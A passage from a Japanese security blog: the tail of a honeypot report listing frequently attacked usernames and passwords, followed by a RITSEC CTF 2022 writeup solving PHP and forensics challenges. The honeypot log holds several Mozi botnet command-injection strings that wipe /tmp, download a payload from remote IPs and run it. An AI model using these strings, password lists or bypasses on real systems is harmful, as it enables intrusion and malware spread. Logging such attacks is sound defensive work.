6 test 2,014
7 postgres 1,830
8 ubuntu 1,542
9 22 1,182
10 oracle 926
11 ftpuser 753
12 git 708
13 (empty) 640
14 !root 599
15 2Wire 592
16 support 586
17 mysql 481
18 administrator 465
19 ftp 454
20 guest 453
21 www 443
22 web 423
23 testuser 408
24 deploy 381
25 info@mailrelay.local 375
26 user1 343
27 adm 339
28 jenkins 316
29 666666 306
30 debug 301
31 minecraft 301
32 unknown 300
33 0 293
34 $ALOC$ 287
35 anonymous 282
36 blank 276
37 www-data 275
38 sales@mailrelay.local 267
39 server 259
40 test1 259
41 hadoop 258
42 Admin 256
43 test@mailrelay.local 252
44 db 248
45 tomcat 247
46 dev 243
47 data 237
48 nagios 236
49 teamspeak 234
50 wwwroot 231
  • Result
    • メールアドレスをユーザ名に指定したアクセスが幾つか確認された。  info@mailrelay.local(25位)、sales@mailrelay.local(38位)、test@mailrelay.local(43位)

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 10,159
2 123456 8,045
3 nproc 6,395
4 1 3,023
5 123 2,895
6 password 2,615
7 (empty) 1,849
8 root 1,800
9 1234 1,691
10 user 1,662
11 12345 1,610
12 12345678 1,033
13 blank 885
14 test 859
15 123456789 594
16 0 562
17 1q2w3e4r 533
18 111111 525
19 123123 509
20 qwerty 509
21 666666 493
22 1qaz2wsx 469
23 abc123 391
24 support 387
25 P@ssw0rd 385
26 ubnt 376
27 00000000 371
28 1234567 371
29 123qwe 359
30 admin123 357
31 master 357
32 test123 335
33 Password 333
34 pass 328
35 p@ssw0rd 325
36 backup 324
37 alpine 319
38 1234567890 313
39 Passw0rd 309
40 unknown 309
41 synnet 289
42 hi3518 285
43 !ishtar 284
44 password123 252
45 passw0rd 246
46 q1w2e3r4 246
47 123321 229
48 1qaz@WSX 228
49 000000 217
50 passwd 203
  • Result
    • パスワード に関連した文字列が多かった

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

Peace is the best.



* shファイルとexeファイル関連の問い合わせは以下の通り。

◆shファイルに関するアクセス
ASCII text, with CRLF line terminators  /putkite/quickr1n.sh
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)    /1.txt
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)    /1a.txt
POSIX shell script, ASCII text executable   /bins.sh

◆exeファイルに関するアクセス
PE32 executable (GUI) Intel 80386, for MS Windows   exiles.exe
PE32 executable (GUI) Intel 80386, for MS Windows   s.exe
PE32 executable (GUI) Intel 80386, for MS Windows   smss.exe

◆jsファイルに関するアクセス
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/101.0.54.113:34156/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/103.217.123.245:35220/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117.198.251.73:41927/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117.201.207.222:59276/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117.251.57.35:46227/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/118.232.97.242:54791/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/175.11.134.111:24485/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/185.181.43.55:39167/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/192.168.1.1:8088/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js

RITSEC CTF 2022 - Writeup

2022年4月1日, 16:00 UTC - 4月4日, 04:00 UTCに開催されたRITSEC CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で6問解いたので、以下にWriteupを記載する。

Web

Pretty Horrible Program 1

Bingus our beloved is found and he can never be replaced

Author : BradHack3r
https://ctf.ritsec.club/php1


指定されたURLへアクセスすると添付のようなフォーム画面が表示される。
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php1/index.php?source

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require('flag.php');
?>
<!DOCTYPE html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
    }

    code {
      color: orange;
      font-size: 2.5rem;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }
  </style>
  <title>PHP 1</title>
</head>

<body>
  <img src="/php1/praise_bingus.webp" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>1</b></h1>
  <a href="/php1/index.php?source">View Source Code</a>
  <br />
  <?php
  if (isset($_GET['bingus'])) {
    $input = $_GET['bingus'];
    $to_replace = 'bingus';
    $clean_string = preg_replace("/$to_replace/", '', $input);
    echo "<p>Your string is: $clean_string</p>";
    if ($clean_string == $to_replace) {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
      output_flag();
    } else {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: red;\">IS NOT</span> your beloved</h2>";
    }
  }
  ?>
  <form method="get">
    <input type="text" required name="bingus" placeholder="Gimme some input :)" />
    <input type="submit" />
  </form>
</body>


以下の判定処理よりbingusのクエリストリングで渡したGETリクエストの値がpreg_replace関数で置換された後にbingusの文字列と等しければflagが表示される。

    if ($clean_string == $to_replace) {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
      output_flag();


bingusの文字列が置換されて消えるためbinbingusgusのように指定すれば条件に一致する。
つまり以下のURLでアクセスすればflagが表示される。

https://ctf.ritsec.club/php1?bingus=binbingusgus

flag : RS{B1ngus_0ur_B3lov3d}



Pretty Horrible Program 2

Bingus cereal 👀 duh

Author : BradHack3r
https://ctf.ritsec.club/php2


指定されたURLへアクセスすると添付のようなフォーム画面が表示される。
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php2/index.php?source

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require('flag.php');

if (!isset($_COOKIE['user'])) {
  $default_user = new User;
  $_COOKIE['user'] = serialize($default_user);
  setcookie(
    'user',
    serialize($default_user),
  );
}

if (isset($_POST['user'])) {
  setcookie(
    'user',
    $_POST['user'],
  );
}

?>
<!DOCTYPE html>
<html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
    }

    hr {
      width: 50%;
    }

    code {
      font-size: 2rem;
      font-weight: 500;
    }

    .error {
      color: red;
    }

    .success {
      color: green;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
  </style>
  <title>PHP 2</title>
</head>

<body>
  <img src="/php2/meme.jpeg" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>2</b></h1>
  <?php
  class User
  {
    public $role = 'User';

    public function is_admin()
    {
      if ($this->role == 'Admin') {
        return true;
      } else {
        return false;
      }
    }

    public function __sleep()
    {
      return array($this->role);
    }
  }
  ?>
  <?php
  if (isset($_COOKIE['user'])) {
    echo "<p>Output:<br/>" . $_COOKIE['user'] . '</p>';
  } else {
    echo 'Please provide some input.';
  }
  ?>
  <?php
  if (isset($_COOKIE['user'])) {
    try {
      $user = unserialize($_COOKIE['user']);
      if ($user->is_admin()) {
        echo '<h3 class="success">Welcome Admin</h3>';
        output_flag();
      } else {
        echo '<h3 class="error">Not Admin</h3>';
      }
    } catch (Error $e) {
      echo '<h2 class="error">Uh oh, ur input was <code>cringe</code></h2>';
    }
  }
  ?>
  <hr />
  <form action="/php2/index.php" method="post">
    Serialized User: <input type="text" name="user"><br>
    <input type="submit">
  </form>
  <a href="/php2/index.php?source">View Source Code</a>
</body>

</html>


以下の判定処理よりcookieにセットされたO:4:"User":1:{s:4:"User";N;}のシリアル化された値を改変して is_admin()のrole == 'Admin'をセットできればflagが表示される。

public function is_admin()
    {
      if ($this->role == 'Admin') {
        return true;
      } else {
        return false;
      }


シリアライズされた値の確認

O:4:"User":1:{s:4:"User";N;}

     ↓

object(__PHP_Incomplete_Class)#1 (2) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["User"]=>
  NULL
}

User(4文字)のObjectがあり、その中にUser(4文字)のstring型の要素が1つ構成されている。User要素の値はNullが設定されている。
この中にrole(4文字)という要素を追加して、Admin(5文字)の値をセットする。(つまり要素は2つで構成されることになる。)

PHPシリアライズ形式については以下のURLが参考になる。 phpinternalsbook-ja.com

※安全でないデシリアライゼーションの考え方は以下の大変ありがたいURLを参照するとよいでしょう。 blog.tokumaru.org

O:4:"User":2:{s:4:"User";N;s:4:"role";s:5:"Admin";}

     ↓

object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["User"]=>
  NULL
  ["role"]=>
  string(5) "Admin"
}


cookieの値(user)はURLエンコードされているので作成したシリアル化された値をURLエンコードする。 O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22User%22%3BN%3Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D

この値をCookieのuserにセットしてサイトへアクセスするとflagが表示される。

flag : RS{C3re4l_B1ngu5}



Pretty Horrible Program 3

Well, better get cracking I guess

Author : BradHack3r
https://ctf.ritsec.club/php3


指定されたURLへアクセスすると添付のようなフォーム画面が表示される。

ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php3/index.php?source=true

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require 'flag.php';
?>
<!DOCTYPE html>
<html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
      text-align: center;
    }

    hr {
      width: 50%;
    }

    code {
      font-size: 2rem;
      font-weight: 500;
    }

    .error {
      color: red;
    }

    .success {
      color: green;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
  </style>
  <title>PHP 3</title>
</head>

<body>
  <img src="/php3/drippy_bingus.jpeg" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>3</b></h1>
  <?php
  if (isset($_GET['input1']) and isset($_GET['input2'])) {
    if ($_GET['input1'] == $_GET['input2']) {
      print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
    } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
      output_flag();
    } else {
      print '<h3 class="error">Your inputs don\'t match</h3>';
    }
  }
  ?>
  <p>See if you can make the sha256 hashes match</p>
  <br />
  <a href="/php3/index.php?source=true">Source Code</a>
  <form method="get">
    <input type="text" required name="input1" placeholder="Input 1" />
    <p>Hash: <?php if (isset($_GET['input1'])) print hash("sha256", $_GET['input1']) ?></p>
    <input type="text" required name="input2" placeholder="Input 2" />
    <p>Hash: <?php if (isset($_GET['input2'])) print hash("sha256", $_GET['input2']) ?></p>
    <input type="submit" />
  </form>
</body>

</html>
<?php


以下の判定処理より緩やかな一致では等しくないが、厳密な一致では等しい値をinput1とinput2のGETリクエストで渡すとflagが表示される。

  if (isset($_GET['input1']) and isset($_GET['input2'])) {
    if ($_GET['input1'] == $_GET['input2']) {
      print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
    } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
      output_flag();
    } else {
      print '<h3 class="error">Your inputs don\'t match</h3>';
    }


既知の内容でsha256 collision phpで調べると文献がある。

https://stackoverflow.com/questions/53080807/sha256-hash-collisions-between-two-strings/53081240

配列の形式ではbypassできるとのこと
以下URLでフォーム上はエラーになるがflagが表示される。
https://ctf.ritsec.club/php3?input1[0]=1&input2[1]=1


flag : RS{Th3_H@sh_Sl1ng1ng_5lash3r}



Down the Data Streams

Can you find it?
<br>
Some brute-forcing is allowed.
<br>
Directories are found on the first page
https://ctf.ritsec.club/data-streams


指定されたURLへアクセスすると以下のメッセージが表示される。

Start: /6610e477ddefc14511cc4f261c3c608d.txt


以下のURLへアクセスすると数列が表示される。
https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt

[0, '89504e470d0a1a0a0000000d49484452'] f1c0647234d033c43d05ed798f34d1af


表示された値を元に以下URLへアクセスする。
https://ctf.ritsec.club/data-streams/f1c0647234d033c43d05ed798f34d1af.txt

[11628, '419b79d96aac9743a332abc4d3f291d3'] 5728c2dc294629e33a44bb5b745f052c

なんとなく1列目がINDEX値、2列目がPNGバイト列(89 50 4e 47で始まるため)、3列目がファイル名と予想される。2列目のPNGバイト列を抽出して結合すればflagが表示されるはず。

普段はやらないプログラミングに挑戦してみる。試しに3回だけ取得する処理を実行する。

>>> import requests
>>> r = requests.get('https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt')
>>> png =''
>>> png = png + r.text
>>>
>>> for i in range(3):
...     r = requests.get('https://ctf.ritsec.club/data-streams/'+r.text[-32:]+'.txt')
...     png = png +'\n' + r.text
...     i = i+1
...
>>> print(png)
[0, '89504e470d0a1a0a0000000d49484452'] f1c0647234d033c43d05ed798f34d1af
[11628, '419b79d96aac9743a332abc4d3f291d3'] 5728c2dc294629e33a44bb5b745f052c
[9765, '9b9ffeecc7afbf716d776f1c7643cb8e'] 922371925a235b713156a23da7e8276d
[3212, '38ab28f59e9028651377b9bb27f65399'] 0d069134327851a1be09b71f0f5d70ed
>>>


成功しているようだ。全てのバイト列を取得する。(大体2時間ぐらいかかる。)

import requests
r = requests.get('https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt')
png =''
png = png + r.text

for i in range(14421):
    r = requests.get('https://ctf.ritsec.club/data-streams/'+r.text[-32:]+'.txt')
    png = png +'\n' + r.text
    i = i+1


取得したpngバイト列をファイルに出力する。

>>> f = open('png.txt', 'w', encoding='UTF-8')
>>> f.write(png)
>>> f.close()


取得したファイルからExcelを駆使してPNG文字列を抽出したらcyberchefに投げて終わり。


flag : RS{81ngus5_w3b_53rvic3s}



Forensic

Bad C2

Not very versatile malware

Author : degenerat3


添付ファイルのpcapファイルを確認するとhttpプロトコルにてC2サーバとやり取りしているログが確認できる。
やり取りされているC2サーバのIPアドレスグローバルIPが利用されている。
41パケット目でJSON形式でPOSTリクエストを投げている。


上記のjson形式の設定にてfalseをtrueに変えてHTTPプロトコルでアクセスするとflagが表示される。

実際のC2サーバではhttps通信やC3連携(slackなど)で通信内容を秘匿するのでhttpで通信が漏洩するのがイケていない?

flag : RS{m4gic_word_is_4lw4ys_b31ng_p0lit3}



Cyber Survey

Lookin' like a Fujitsu FI-6800

Author : degenerat3


添付ファイルを確認するとTCPプロトコルの通信が確認できる。

Protocol階層でデータストリームを確認するとDataがあるので選択する。

宛先Portポート番号は全て40000のポート番号になっている。

40082
40083
40123
 ・
 ・



末尾の3桁の番号はなんとなくASCII文字っぽい。

>>> chr(82)
'R'
>>> chr(83)
'S'
>>> chr(123)
'{'


むむむ...

宛先Port番号の末尾3桁をASCII文字にしたものがflagになる。

flag :RS{sc4ns_bett3r_than_4n_hp_d3skjet3755}



感想

・なぜ人は他にやらなければならないことが有るときほど、CTFが捗ってしまうのか。不思議だね。